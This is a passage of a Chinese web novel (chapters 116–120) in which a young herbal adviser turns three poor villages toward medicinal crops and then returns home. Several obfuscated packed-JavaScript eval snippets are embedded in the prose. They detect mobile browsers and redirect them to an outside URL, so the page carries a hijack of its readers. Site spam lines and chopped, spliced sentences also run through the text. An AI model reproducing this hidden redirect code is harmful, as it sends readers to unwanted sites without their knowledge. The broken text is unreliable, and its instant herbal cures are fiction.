他猛地一拍桌子,挺直了腰杆! “好!” “姜顾问!就按您说的办!” “从今天起,我唐老汉就是这白露坡的阎王!谁敢不好好吃饭喝药,我拿鞭子抽死他!” “一个月!您就瞧好吧!我们白露坡的人,就是穷死,骨头也是硬的!绝不丢这个脸!” 第116章 五十块一盒的宝贝 离开白露坡吉普车一路向西。 车轮下的黄土渐渐被湿润的黑泥取代。 空气中那股干燥的草木味也被浓重的、带着腐殖质气息的水汽浸透。 南方的初春总是这样潮得能拧出水来。 “姜顾问前面就是黑水村了。” 小李秘书指着远处一片笼罩在薄雾中的村庄有些忌惮。 “这地方邪性一年里大半时间都泡在水里。那雾当地人叫‘瘴气’老人说吸多了人就要生病骨头缝里都发痒。” 姜芷顺着他指的方向看去眼神却亮了。 越是这种阴阳不调、水土失衡的地方越容易滋生出寻常环境下见不到的奇珍。 车子在黑水村村口停稳。 迎接的阵仗和白露坡死气沉沉的场面截然不同。 一个三十出头、身板挺直的年轻人领着十几个精壮汉子早已等在了路口。 他就是黑水村的大队长马卫国。 “欢迎姜顾问!欢迎省里来的同志!” 马卫国一上来就热情地握手脸上堆满了笑。 “地 他显得过分积极了眼里的野心和渴望几乎不加掩饰。 姜芷手掌与他交握一瞬便松开了心里已有了计较。 这个马卫国是个有野心想干事的人。 这样的人用好了是助力用不好也容易自作聪明坏了大事。 “不急着看地。” 姜芷语气淡淡的直接打断了他的安排。 “马队长先带我们去沼泽边上看看。” “沼泽?”马卫国脸上的笑容一僵“姜顾问那地方又脏又臭瘴气还重去那儿做什么?” “我要找的东西在那儿。” 姜芷没有过多解释。 马卫国心头一跳那点想要表现的小心思瞬间熄了火。 他立刻点头哈腰:“好好!您这边请!” 一行人踩着泥泞打滑的田埂走向那片广袤的沼泽。 一股混合着水草腐烂、淤泥发酵的复杂腥气扑面而来熏得小李秘书和刘老都下意识地屏住了呼吸。 姜芷走到沼泽边缘蹲下身目光在一片片杂乱的水生植物中仔细搜寻。 “姜巧巧记。” 她头也不抬。 姜巧巧赶紧掏出纸笔凑了过去。 同时用力地吸了吸鼻子试 你的朋友正在书荒,快去帮帮他吧 图分辨这片**气息中夹杂的草木之味。 “水边那片,泽泻。看叶形和根茎状态,利水渗湿的药性很足。” “那片冒出头的紫色花序,是香蒲。它的花粉,就是蒲黄,活血化瘀的上品。” “还有这个……”姜芷指着水里一种刚冒出嫩芽的植物,“半夏。此物有毒,如果懂得炮制,就是止咳化痰的圣药。” 她随口点评,信手拈来。 马卫国和跟来的村民们,一个个全都听傻了。 他们祖祖辈辈都嫌弃的烂泥坑,怎么到了这位小顾问嘴里,就成了遍地是宝的药库? “姜顾问……您,您是说这些烂泥里的野草,都能卖钱?” 马卫国兴致大起地问。 “能。”姜芷站起身,拍掉指尖的湿泥,“但,不是你们现在看到的这些。” 她抬头,看向沼泽深处蒸腾的雾气,话锋一转。 “马队长,村里是不是得皮癣湿疹的人特别多?” “一到阴雨天,就浑身发痒,起红疹子,抓心挠肝的,怎么治都不好?” 马卫国猛地一拍大腿。 “神了!姜顾问您真是神了!可不是嘛!我们这儿的人,十个有九个都犯这毛病!都说是瘴气闹的,是老天爷罚我们住在这烂地方,没法治!” “不是瘴气,是霉菌。”姜芷纠正他。 “沼泽里腐烂的植物,在湿热的雾气里,会滋生一种特殊的青黑色霉菌。它的孢子肉眼看不见,飘在空气里,沾到皮肤上,就会引起你们说的那些病。” 她看着已经呆住的马卫国,眼神里闪过一丝玩味。 “这东西能让你们生病。” “但也能让别处生病的人,好起来。” 马卫国彻底懵了:“什……什么意思?” “意思就是,这种菌,本身就是一味药。” “只要懂得采集、培养和炮制,就能做成治疗顽固性皮癣的特效药膏。” “在城里,一小盒,能卖到这个数。” 姜芷伸出了五根手指。 “五……五块钱?”马卫国的心脏猛地一抽。 “是五十。” 姜芷平静地吐出两个字。 嘶—— 周围响起一片倒吸凉气的声音。 五十块! 一小盒药膏,比一个壮劳力干一年的工分还多! 这不是药膏,这是金子! 马卫国的呼吸骤然急促,他看着这片沼泽的眼神,已经变得狂热。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “姜顾问!您说!要我们怎么干!我们黑水村上上下下,全听您的!” “想干,可以。”姜芷看穿了他的心思, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360422|183655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决定先给他套上笼头。 “但是,我得先把规矩立下。” 她指着广阔的沼泽。 “首先划区。这片沼泽,我会给你们划出采集区、种植区和核心保护区。谁敢乱挖乱动,坏了这里的根,这买卖就到此为止。” “另外,我会教你们怎么安全地采集那种菌。但丑话说在前面,这东西有毒,所有参与的人,必须按我的规矩穿戴特制的手套和口罩。谁敢不当回事,出了事,自己担着。” “最后是作物。”姜芷指向远处那片马卫国一早就备好的肥地,“那块地,不种别的,就种薏苡仁。祛湿利水,既是粮食也是药材。沼泽里,以采集野生药材为主。” 她最后看向马卫国,目光锐利。 “你,就是黑水村的负责人。你的任务,是组织好人手,把我的规矩给我盯**。我需要的是令行禁止的兵,不是自作聪明的将。” 马卫国被她看得心里一凛,那点刚升起的野心和算计,瞬间被浇得透心凉。 眼前这个年轻姑娘,看着清清冷冷,但那份心智和手段,远不是他能比的。 “是!姜顾问!我明白了!”他立刻立正站好,态度恭敬无比。 为了让村民们彻底信服,姜芷决定当场露一手。 她让姜巧巧去采集了几种沼泽边的植物,又从自己的药箱里拿出一点自制的凡士林。 就在村民们好奇的注视下,她将那些植物捣成墨绿色的药汁,混合了凡士林,很快就制成了一小罐药膏。 “谁家孩子身上痒得最厉害的?抱过来。” 一个妇女连忙抱来一个四五岁的男娃,那孩子浑身红疹,正哭闹着用手狠抓,好几处皮肤都抓破了。 姜芷用手指沾了一点药膏,轻轻涂在孩子的手臂上。 神奇的一幕发生了。 不过短短一分钟,那孩子竟然停止了哭闹,小手也放了下来,不再去抓。 原本红肿的皮肤,也迅速消退了红肿。 “不痒了……俺娃说不痒了!”那妇女无比激动。 “神医!真是神医啊!” “咱们的烂泥坑,要变聚宝盆了!” 村民们开始欢呼,对姜芷彻底信服。 姜芷将剩下的药膏交给了那个妇女,又对身后的姜巧巧说: “把刚才用的那几种草药的样子、气味、特性都记下来。” “以后,制作这种止痒膏,就是你的活儿。” “是……是!姐!” 姜巧巧激动得手都在抖。 这是姜芷第一次,真正意义上地“传授”她实用的真本事。 第117章 一滴油,两斤白面 姜芷在黑水村待了两天。 安排好初步计划后车队继续赶往最后一个试点黄土梁。 这也是名单上最难啃的一块硬骨头。 越往北走车窗外的景象越是荒凉。 初春本该复苏的土地在这里却呈现出死寂的灰黄色。 刘老看着窗外叹了口气主动为姜芷解释。 “姜顾问这黄土梁邪门得很。” “听地方志记载百年前这里曾有地火喷涌烧了七天七夜把好好的青山沃土烧成了这副模样。” “土里含着一种火毒碱性又重别说庄稼连杂草都活不长几根。” 原来如此。 姜芷了然。 这并非单纯的贫瘠而是土地本身“病”了。 如果说白露坡是“气血两虚”黑水村是“湿毒内蕴”那这黄土梁就是“火毒攻心”。 死气沉沉。 小李秘书随即凑上前压低了声音继续补充说。 “姜顾问这黄土梁的人怎么说呢穷得只剩下骨头也磨掉了心气。前几年派下来的知青待了不到半年哭着跑了好几个。” “村支书钱卫东也是个留下的知青。当年一腔热血现在被磨得……总之脾气又臭又硬出了名的不好打交道。” 姜芷只轻轻“嗯”了一声目光落在窗外。 远处一个破败的村落像一块旧补丁趴在干裂的山坡上。 土坯墙摇摇欲坠看不见一缕炊烟也听不见半声鸡鸣狗叫。 这里比白露坡更穷更绝望。 吉普车停在村口一棵歪脖子老槐树下扬起一片呛人的尘土。 一个穿着洗到发白的旧军大衣戴着黑框眼镜的年轻人正靠着树干抽旱烟 他看到车只是懒洋洋地抬了下眼皮连站起来的意思都没有。 小李秘书脸色难看硬着头皮下车走过去。 “钱卫东**我们是省里派下来……” “知道省里的专家。” 钱卫东吐出一口烟圈满眼嘲弄目光在刘老和小李身上扫过最后落在刚下车的姜芷身上。 “专家就是她?” 这一声比白露坡村民的质疑更直接更尖锐。 “这位是省农业厅特聘的药用植物种植总顾问姜芷同志。”小李秘书加重了语气。 “总顾问?” 钱卫东扯了扯嘴角慢悠悠地站直了 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 身子,拍了拍身上的土。 他走到姜芷面前,上下打量着。 “行啊,省里是没人了?派个小丫头来咱们这穷山沟里演戏?” 他这话声音不小。 周围几个倚在墙根下,同样瘦得像干柴棍的村民,也跟着发出几声有气无力的哄笑。 刘老当场就动了气:“你这同志怎么说话呢!我们是省里下来帮扶.” 姜芷抬手,拦住了刘老。 她平静地看着眼前的男人。 他比她高一个头,但那脊梁,已经被这片黄土压弯了。 “钱**,是吧?” “是又怎么样?” 钱卫东下巴一扬,一副死猪不怕开水烫的模样。 “我不是来演戏的。” 姜芷的语气平淡。 “我是来给你们送饭碗的。不过,看你这态度,好像不太饿。” 钱卫东的脸瞬间涨红。 “你!” “带我去看地。” 姜芷懒得跟他废话,直接下命令。 钱卫东重重哼了一声,转身就走,背影里全是压抑不住的火气,一副等着看好戏的神态。 黄土梁的地,根本不能称之为地。 到处都是龟裂的口子,被风一吹,只剩下坚硬的土坷垃和沙砾。 别说种药材,连根杂草都难寻。 姜芷绕着村子走了一圈,这里的男人比白露坡的更瘦,眼神截然不同。 白露坡的人是麻木。 这里的人,是无所谓,破罐子破摔的懒散。 几个年轻人聚在墙根下晒太阳,看到他们过来,连眼皮都懒得抬。 逛了一圈后,回到村委会,那是个连窗户纸都破了洞的土屋。 姜芷没坐,她看着屋里几个被叫来的村干部,一个个东倒西歪,没个正形。 “钱**,五年前,你也是满怀理想来到这里的吧?”姜芷突然开口。 钱卫东眼神一紧,没有说话。 “你的手上有笔茧,虎口和指节上,也有厚厚的老茧。说明你既能写字,也下过苦力。” 姜芷慢慢剖析着他,“但你的脉象虚浮,肝气郁结。” “五年来,你一腔热血被现实浇灭,心气儿没了,人也就废了。” 钱卫东的身体剧烈一颤。 “你……你还会看病?” “我不仅会看病,还会治病。” 姜芷的目光扫过所有人。 “我不光能治你们身体 你的朋友正在书荒,快去帮帮他吧 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360423|183655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 的病,还能治这片土地的病,治你们心里的穷病!” “但是,我不治懒人,不治**。” 她走到钱卫东面前,神色严肃起来。 “钱**,我给你两个选择。” “第一,你继续当你的‘**’,我立刻带队走人,你们黄土梁继续烂下去。这个项目,就当我没来过。” “第二,你给我活过来。把这帮懒汉给**练起来。我给你一个机会,也给黄土梁一个机会。” 钱卫东死死地盯着她,呼吸变得粗重。 这个年轻的女孩,眼神清冷得可怕,仿佛能看透他所有的伪装和绝望。 他内心深处那点早已熄灭的火星,似乎被她这几句话,又重新点燃了。 “我……我凭什么信你?”他嘶哑着嗓子问。 “就凭这个。” 姜芷转身走到屋外,指着漫山遍野一种不起眼的带刺灌木。 “沙棘子?酸得倒牙,鸟都不吃的玩意儿。”一个村干部不屑地撇撇嘴。 “鸟不吃,我用。” 姜芷让姜巧巧取来两块干净的石头。 就在众人不解的目光中,她摘下一捧金黄色的沙棘果,放在石头上,用另一块石头反复碾压,挤出浑浊的黄色汁液。 她没有停,继续碾压剩下的果渣,直到渗出一种颜色更深、更粘稠的油脂。 她将那一点点油脂收集在一个小瓷碗里,然后对那个说“鸟都不吃”的村干部招了招手。 “过来。” 那干部一脸不情愿地走过来。 “伸手。” 姜芷用指尖沾了一点沙棘油,抹在他开裂的手背上。 “这玩意儿有啥用……”干部嘟囔着。 话没说完,他就愣住了。 一股温润感从手背上传来,那火辣辣的疼痛,竟然瞬间就减轻了大半。 他忍不住用另一只手摸了摸,原本粗糙的皮肤,竟然变得有些滑腻。 “这……这是什么神仙油?” 他结结巴巴地问,眼睛瞪得像铜铃。 所有人都围了上来,伸长了脖子看。 姜芷没理会他们的震惊,她看向钱卫东。 “一斤沙棘果,能出半两油。” “这半两油,拿到县供销社,能换两斤白面。” “你们这漫山遍野的沙棘,能换多少白面,你自己算。” 两斤白面! 钱卫东的瞳孔骤然收缩。 在场村民干部脑子都在嗡嗡作响。 第118章 归途路上的最后一道考题 姜芷清冷的声音还在继续。 “这只是开胃菜。” “我真正的计划是让你们在这片黄土里种下能扎根几十米的甘草和黄芪。三年五年十年后你们挖出来的不是药材是金条。” “我要你们黄土梁藏富于地给子孙后代留下一座挖不完的金山。” 她转过身一字一句地问。 “现在你还觉得 钱卫东的身体止不住颤抖。 他看着姜芷手里的金黄色的油脂想起了五年前他刚到这里时也是这样对着村民们描绘着未来的蓝图。 可他失败了。 而眼前这个女孩她没有说一句空话她直接把黄金从他们最看不起的野果子里变了出来! 他想起了这五年村民们越来越麻木的眼神。 想起了自己夜深人静时一次次烧掉的信件和理想。 更想起了自己从一个热血青年变成一具行尸走肉的全过程。 一股久违的滚烫热流从心里涌遍全身。 “噗通!” 一声闷响。 钱卫东竟然直挺挺跪了下去! 这一跪。 不是对着姜芷而是对着那碗油对着这片他爱过也恨过的土地对着自己被埋葬了五年的理想。 “姜顾问!” 他声音哽咽两行热泪从镜片后涌了出来冲刷着脸上的尘土。 “我钱卫东……服了!” “我不是人!我他妈这几年活得像条狗!” 他狠狠地抽了自己一个耳光清脆响亮。 “您说得对!心气儿没了人就废了!” “从今天起!”他猛地抬起头眼里重新燃起了希望。 “您让我往东我绝不往西!” “这帮懒骨头我给您练!” “三天之内您要是看不到一群嗷嗷叫的狼我钱卫东自己从这黄土坡上跳下去!” 他身后那些懒散的村民和干部也全都被这一跪和这一番话彻底震住了。 他们麻木的心也跟着狠狠地颤了一下。 身后那些靠墙晒太阳骨头都懒得动的村民全都傻了。 黄土梁谁不知道钱**是茅坑里的石头又臭又硬公社领导下来都敢顶什么时候见过他给人下跪? “**你这是干啥!”一个小干部慌忙去扶。 “都给我跪下!” 钱卫东一把甩 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 开他的手,通红的眼睛死死瞪着身后那群人。 “给姜顾问跪下!给咱们黄土梁的活菩萨跪下!” 他声音嘶哑,带着血腥味儿。 村民们你看我,我看你,那个被抹了沙棘油的汉子手背还滑腻着,他第一个“噗通”跪倒。 “姜顾问,我们有眼不识泰山!” 有人带头,剩下的人也黑压压跪了一片。 穷怕了,绝望怕了。 姜芷手里那碗金灿灿的油,就是他们能看到最实在的希望。 “都起来。” 姜芷语气平淡。 “我不要你们的膝盖,我要你们的力气和汗水。” 她看着钱卫东:“钱**,从今天起,你的任务有两个。” 钱卫东跪在地上,仰着头。 “首先把这帮懒汉的心,从墙根底下挖出来,按回地里去!谁敢偷懒耍滑,第一天扣工分,第二天饿肚子,第三天卷铺盖滚出黄土梁!” 这话一出,人群里起了不大不小的骚动。 姜芷眼神冷冽扫过。 “我的项目,不养闲人,不养废人。” 骚动立刻死寂。 “然后带着全村男女老少,上山摘沙棘。果子,叶子,都要。我会教你们榨油、炮制。第一批换来的钱粮,全部归公,买工具,买牲口,为后续大动作做准备。” 钱卫东听完,重重磕了一个头。 “是!保证完成任务!” 他站起身,抹掉脸上的泪和土,整个人焕然一新。 他转身,面向村民。 “都听到了吗!黄土梁改变命运的机会到了!” “从明天起,谁**再敢睡到日上三竿,我亲自端凉水泼醒他!谁敢在地里磨洋工,晚饭就别想见着一粒米!” “咱们黄土梁的人,穷了半辈子,让人戳了半辈子脊梁骨!现在活菩萨上门了,谁要是不争口气,自己滚到后山,找棵歪脖子树吊死,别留在这儿丢人现眼!” 一番话,骂得在场的男人们都把头埋进了裤裆里。 姜芷看着,知道这把火,点着了。 接下来的两天,姜芷没走。 她带着姜巧巧,手把手教钱卫东和几个脑子灵光的妇女,用最简陋的石头和木槽榨油。 她还用沙棘枝叶熬了药水,治好了村里几头病驴的烂蹄子。 这两手绝活,彻底让姜芷在黄土梁封了神。 村民们看她的眼神,从怀疑变成狂热,毕恭毕敬地称呼她“姜神医 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 ”。 男人们被钱卫东操练得每天上吐下泻,眼神一天比一天亮。 女人们和孩子们漫山遍野地采沙棘,几十年来,歌声第一次重新飘荡在黄土梁。 姜巧巧也在这场热火朝天的劳动中,找到了自己的位置。 她的鼻子,在辨别沙棘果的品质上,展现出惊人的天赋。 哪片坡的果子日照足,油性大。 哪片沟的果子水分多,适合做果酱,她凑近一闻便知。 她不再是那个跟在姜芷身后,战战兢兢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360424|183655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的学徒,她成了被大娘大婶围着请教的“巧巧老师”。 她第一次,靠自己的真本事,赢得了尊重。 站在山坡上,刘老感慨万千,扶着老花镜对小李秘书说:“小李啊,我总算明白,姜顾问为什么说,她不治地,先治人了。她这是在给黄土梁换魂啊!” 小李秘书深以为然。 他看着那个站在人群中,清冷依旧却自带光芒的少女,心里只剩下敬畏。 这位姜顾问,哪里是在搞药材种植推广。 她分明是在用她的医道,行王道。 白露坡,开“补药”,养身。 黑水村,用“猛药”,逐利。 黄土梁,下“心药”,换魂。 点石成金,因地制宜,这份手段和格局,已经超出了他一个秘书的理解范畴。 三天后,姜芷一行人离开。 钱卫东带着全村人,在村口笔直地站着送行。 “姜顾问,您放心!”钱卫东拍着胸脯保证,“下次您再来,我保证让您看到一个不一样的黄土梁!” 姜芷点了点头。 “记住,机会我只给一次。” 她说完,利落上车。 后视镜里,那群笔直的身影,印在她眼底。 她知道,这片“死”地,活了。 …… 考察完三个试点,已是半个多月后。 回程的路,车厢里气氛不再沉闷。 刘老每天都缠着姜芷问东问西,笔记本记得满满当当。 小李秘书也从拘谨变得活络。 最大的变化是姜巧巧。 她的腰杆挺直了,眼神里有了自信。 一路上,她会主动和刘老讨论不同药材的特性,甚至能指出书本上一些记载的谬误。 她就像一块蒙尘的璞玉,经姜芷擦拭,开始绽放光彩。 这天,车子路过一片连绵丘陵。 天说变就变,淅淅沥沥下起了小雨。 山路泥泞,吉普车的一个轮子,不慎陷进了路边的烂泥坑。 司机试了几次,车轮空转,反而越陷越深。 “姜顾问,看来得等雨停了,路面干一点再走了。”司机无奈道。 “不急。” 姜芷打开车门,撑开一把油纸伞,走下车。 雨后的山林,空气清新,弥漫着泥土和草木的芬芳。 她扫了一眼深陷的车轮和湿滑的坡地。 “巧巧,下来。” 她对车里的姜巧巧喊道。 姜巧巧连忙跟了下来,替她扶着伞。 “姐,怎么了?” “你不是一直想知道,一个好的采药人,除了鼻子灵,还需要什么吗?” 姜芷看着眼前烟雨蒙蒙的山林,声音清冷。 “今天,我给你上最后一课。” 第119章 医道人心 姜芷指着路边那片不起眼的杂草坡。 雨丝正密,初春的寒气浸得人骨头发凉。 “去。” “把那片草坡里,所有能入药的植物,都给我采回来。” “每一种,都要说出它的名字、性味、功效。” “以及,它为什么长在这里。” 这是一道大考。 不仅考验辨药,更考验对“天时地利”的通透理解。 “是!” 姜巧巧的眼睛在一瞬间被点亮,所有的疲惫一扫而空。 她没有丝毫犹豫,提着小药锄和竹篮,一头扎进了湿漉漉的雨幕里。 刘老和小李秘书对视一眼,也好奇地跟了过去。 他们想亲眼看看,这个被姜顾问亲自调教了出来的女孩,究竟学到了几分真传。 姜巧巧没有立刻动手。 她蹲下身,用手指捻起一点湿土,放在鼻尖轻嗅。 “地势低洼,土质湿润,但土色泛黄,泥里有铁锈味。” 她像是在自言自语,又像是在隔空回答姜芷的考题。 接着,她拨开一片宽大的牛筋草叶,小药锄精准落下,挖出了第一株植物。 一株开着细碎紫色小花的草,根茎看着颇为肥壮。 “紫花地丁。性寒,味苦、辛。清热解毒,凉血消肿。” “喜湿喜阴,长在这里,证明这片地的水汽很重,湿气淤积。” 话音刚落,药锄再次挥动。 “车前草。利尿通淋,清热明目。它的根系能固土,所以长在斜坡边缘。” “益母草。活血调经,利尿消肿。它喜欢贴着水道长,说明这地下有看不见的暗流。” 她一株一株地辨认,一株一株地解说,动作麻利,思路清晰。 “这个是……”姜巧巧挖出一株叶片带着褐色斑点的植物,凑到鼻尖闻了闻,眉头紧紧皱起。 “虎杖。根茎能活血散瘀,祛风利湿。但是……” 她抬头看向雨伞下的姜芷。 “姐,这株虎杖的年份不够,而且叶片有病斑,闻起来带一股涩气,药性恐怕不行。” 她不仅能辨识,竟然还能品评! 不到半个钟头,姜巧巧的竹篮里,已经装了七八种不同的草药。 她回到姜芷面前,额头上分不清是雨水还是汗珠,一双眼睛里却满是兴奋和期待。 “姐,我都采回来了。” 姜芷的目光在篮子里扫过,淡淡点了下头。 你的朋友正在书荒,快去帮帮他吧 “还不错。” 这三个字,对姜巧巧来说,已经是天大的褒奖。 “你说的都对。”姜芷拿起那株病弱的虎杖,“但你只说对了一半。” “为什么这株虎杖长不好?” 姜巧巧愣住了,她翻来覆去地看,还是没想明白。 姜芷伸手,指向虎杖根部旁边一株毫不起眼的细小藤蔓。 “这是‘锁龙藤’。” “它会分泌一种毒素,抑制周围植物根系的生长,霸道地抢夺所有养分。” “有它在的地方,三尺之内,草木难生。这株虎杖能活下来,已经算是命硬了。” “这……这就是一物降一物?”姜巧巧倒吸一口凉气。 “是,也不是。” 姜芷看着她,“自然万物,相生相克。医道,也是如此。” “一个好的医者,不仅要懂得用药,更要懂得识人,驭势。” “白露坡的人,病在体,更病在穷。所以我先用重话敲打,再用食补调理,是为‘扶正祛邪’。” “黑水村的人,有野心,有干劲,但心术不正。所以我先用重利吊着,再用规矩锁着,是为‘以毒攻毒,以法为缰’。” “黄土梁的人,心气已死,要先用一捧沙棘油点燃他们的希望,再用长远规划给他们画一张大饼,这叫‘釜底抽薪,文火慢炖’。” “巧巧,你天生一副好鼻子,这是你的天赋。但医道之路,漫长且艰辛,光有天赋,走不远。” “你什么时候能从一株草药里,看到它背后的山川、水土、人心,你才算真正入了门。” 这番话,让姜巧巧浑身剧震,醍醐灌顶。 她差的不止是医术,更是格局。 姜芷看的,从来都不只是一株草,一个病人。 她看的,是天地,是众生。 “姐……我……我明白了。” 姜巧巧低下头,带着颤音,由衷敬畏。 雨,不知何时停了。 司机和小李用木板和铁锹,终于把卡车从泥坑里弄了出来。 车队重新上路,回到县招待所,姜芷把小李秘书和刘老叫到房间。 “这次考察,三个试点的情况,你们都看到了。” “是,姜顾问,我们都做了详细的记录!” 刘老连忙递上自己那本记得密密麻麻的笔记本。 “白露坡,根本问题是人。一个月后,我会亲自再去。如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360425|183655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果他们能脱胎换骨,项目就启动。当归和川芎的种植技术, 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 我会毫无保留地教。” “黑水村,关键在于规矩。马卫国那个人,脑子活,心也活。你们要派一个懂技术、但更懂原则的同志常驻,盯着他,别让他为了眼前的利益,坏了长远的规矩。” “黄土梁,要的是耐心。钱卫东可以信任。省里要做的,就是提供足够的后勤保障,工具、种子、口粮,一样不能少。甘草和黄芪是长线投资,不能让他们饿着肚子做贡献。” 她条理清晰,将后续的工作安排得明明白白。 小李秘书和刘老听得连连点头,心里对姜芷的佩服,已经到了五体投地的地步。 这位姜顾问,不仅医术通神,这布局和驭人的手段,更是堪称恐怖。 说完公事,姜芷话锋一转,目光落在小李秘书身上。 “李秘书,还有一件事。” “之前王厅长在村里谈合作时,答应我们红星大队的药田项目,可以拿到三个试点未来产出的三成利润,作为技术股。” “这事,省里不会忘了吧?” 小李秘书心里咯噔一下,背上瞬间冒出一层冷汗。 他光顾着震惊了,差点忘了这茬! 这位姜顾问,可不是什么不食人间烟火的活菩萨,人家精明着呢! “当然不会忘!当然不会!”小李秘书连忙保证,“姜顾问您放心,我一回去就立刻向王厅长汇报,拟定正式的合同文件,盖上公章给您送到大队去!保证把这件事办得妥妥帖帖!” 看到他这副紧张的样子,姜芷才满意地点点头。 她从自己的药箱里,拿出三个用油纸包好的小包。 “这是我给三个村子分别配的药茶方子,针对他们各自的水土问题,有调理身体的功效。” “你们交给驻村的同志,让他们监督村民长期饮用。” 她顿了顿,补了一句。 “这叫,润物细无声。” 做完这一切,姜芷才感觉这趟差事,画上了一个圆满的句号。 “李秘书,安排一下,明天我们回红星大队。” “是!姜顾问!” 小李秘书兴奋地应下。 他已经迫不及待地想把这份惊天动地的考察报告,拍在王厅长的办公桌上。 他有预感,南湖省的天,可能真的要因为这个叫姜芷的年轻姑娘,变一变了。 第120章 全村顶梁柱回归,新的布局 车子在第三天傍晚时分,终于驶回了红星大队。 还没进村,车轮扬起的尘土未落,远远地就看到村口黑压压站满了人。 像是全村老少都出动了。 “这……这是干啥呢? 司机给吓了一跳,还以为出了什么乱子,脚下意识地踩了踩刹车。 随行的小李秘书探头一看,笑了。 “是来欢迎姜顾问的。 他感慨着,来时自己已经按规矩,提前给公社去了电话,汇报了姜顾问的回程时间。 想必是公社通知了大队,赵大山又用大喇叭广播了。 跟着领导下乡也不是一回两回,可从没见过哪个村的村民,对一个人有这么大的热情。 这阵仗,比迎接省里的大领导还夸张。 吉普车缓缓停稳,大队长赵大山立刻大步迎了上来,脸上的褶子都笑开了。 “姜神医!您可算回来了! 他嗓门洪亮,激动得满脸通红。 “你不在的这些天,大伙儿心里都空落落的,没个主心骨! 车门一开,村民们“呼啦一下就围了上来。 “姜神医回来了! “咱们的活财神回来了! “小芷啊,在外面跑了这么多地方,肯定累坏了吧! 姜芷走下车,看着眼前这熟悉的一幕,清冷的眼底也泛起一丝暖意。 “娘。 她穿过嘈杂的人群,一眼就看到了站在赵大山身后的母亲赵秀娥。 赵秀娥眼圈红红的,快步上前来拉住女儿的手,仔仔细细地打量。 “瘦了,也黑了些…… 姜芷拍了拍母亲的手背,轻声安慰:“没瘦,路上伙食挺好的。 跟在后面的姜巧巧,看着眼前这众星捧月般的一幕,心里五味杂陈。 曾几何时,她做梦都想成为人群的焦点。 可如今真的站在这里,她却只想往后缩。 村民们的目光落在她身上,带着几分审视和好奇,但已经没有了从前的鄙夷和嘲讽。 这一切,都是因为姜芷。 是姜芷,给了她重新站在这里的资格。 “行了行了!都别围着了! 赵大山挥着手,用他那大嗓门疏散人群。 “姜神医刚回来,累了一路,让她先回家歇歇!有什么话,回头再说! 村民们这才恋恋不舍地让开一条路。 回到家,崭新的青砖大瓦房窗 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 明几净,院子里收拾得井井有条。 赵秀娥早就烧好了热水,备好了换洗衣物。 晚饭,赵大山夫妇也过来了,端来了一大盆热气腾腾的猪肉炖粉条,香气扑鼻。 饭桌上,听着小李秘书和刘老眉飞色舞地讲述着姜芷在三个贫困村“点石成金”的神奇事迹。 赵大山听得心潮澎湃,手里的筷子都快捏断了。 “先给人换魂,再给地换命!我的乖乖,小芷你这脑子是咋长的!” 赵大山一拍大腿,“我算是服了!彻底服了!” 姜芷只是安静地吃饭,偶尔给母亲夹一筷子菜。 这些在她看来再正常不过的“望闻问切”,在别人眼里,成了神乎其技的手段。 吃过晚饭,送走了客人,姜芷并没有立刻休息。 她把赵大山和几个大队干部,还有姜巧巧,都叫到了堂屋。 “考察的事办完了,但咱们村里的事,才刚开了个头。”姜芷开门见山。 赵大山立刻正襟危坐,拿出个小本本:“芷丫头,您说,我们都听着!” “鬼见愁那片药田,开春了,要继续扩建。之前烧过草木灰的地,肥力够了,可以开始种第一批耗地力的药材,比如人参、黄精,种源的事可以跟供销社或者县医院对接。” “另外,我这次出去,跟省里签了协议,拿下了三个试点村未来药材产出的三成技术股。这意味着,以后咱们红星大队,不光卖自己的药,还能卖别人的药。” 